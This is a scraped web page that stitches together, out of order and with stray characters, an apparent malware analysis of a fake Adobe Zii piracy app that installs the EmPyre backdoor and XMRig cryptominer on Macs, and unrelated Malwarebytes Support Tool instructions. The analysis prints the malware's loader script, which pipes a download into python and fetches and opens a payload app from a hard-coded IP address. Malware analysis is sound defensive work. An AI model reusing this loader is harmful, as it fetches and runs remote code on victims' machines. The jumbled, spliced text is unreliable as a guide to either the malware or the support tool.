It appears to simply be a version of Adobe Zii, most likely for the purpose of making it appear that the malware was actually “legitimate.” (This is not to imply that software piracy is legitimate, of course, but rather it means that the malware was attempting to look like it was doing what the user thought it was intended to do.) This script is designed to download and execute a Python script, then download and run an app named sample.app. Opening the fake Adobe Zii app with Automator reveals the nature of the software, as it simply runs a shell script:Ĭurl | python - & s=46.226.108.171:80 curl $s/sample.zip -o sample.zip unzip sample.zip -d sample cd sample cd _MACOSX open -a sample.app (After all, if you’re going to write software to help people steal Adobe software, why not steal the logo, too?) The malware installer, however, uses a generic Automator applet icon. In this case, however, the app was called Adobe Zii, but it was definitely not the real thing.Īs can be seen from the above screenshots, the actual Adobe Zii software, on the left, uses the Adobe Creative Cloud logo. Adobe Zii is software that is designed to aid in the piracy of a variety of Adobe applications. The malware was being distributed through an application named Adobe Zii. Your Support agent will review the logs to further assist you in troubleshooting your issues.Earlier this week, we discovered a new piece of Mac malware that is combining two different open-source tools-the EmPyre backdoor and the XMRig cryptominer-for the purpose of evil.

If the file size is too large to attach, please contact your support agent for an alternative.

Find the newly created MWB_Info.zip file on your desktop and attach it to your reply email to Malwarebytes Support.

Once finished, a pop-up notifies you that the Support Tool gathered the needed information and created a zip file on your desktop.

The Malwarebytes Support Tool gathers system information.

This only permits the tool to gather troubleshooting data. The Malwarebytes Support Tool does not gather any personal information.

Enter your Mac User Name and Password to continue.

A pop-up describes the Malwarebytes Support Tool process to gather troubleshooting information related to any technical issues on your Mac device.

To address privacy concerns, the Malwarebytes Support Tool does not access your Contacts or Calendar. Note: Mojave 10.14.x users must allow the Malwarebytes Support Tool to access the Finder app and system events.

You may be asked to confirm you wish to open the tool.

Double-click the file to run the Support Tool. Locate the downloaded file MBST-Mac in your Downloads.If you use the Safari web browser, the zip file will expand automatically in your Downloads folder. Ignore flags or blocks on your browser as the tool is safe for your device.

Download the Malwarebytes Support Tool.To run this tool, your device must be running at a minimum of macOS 10.10. This tool gathers data that helps us isolate and resolve issues with our app. If you have a ticket with Support, you can upload troubleshooting logs to your ticket using the Support Tool on your macOS device.

Malwarebytes for mac osx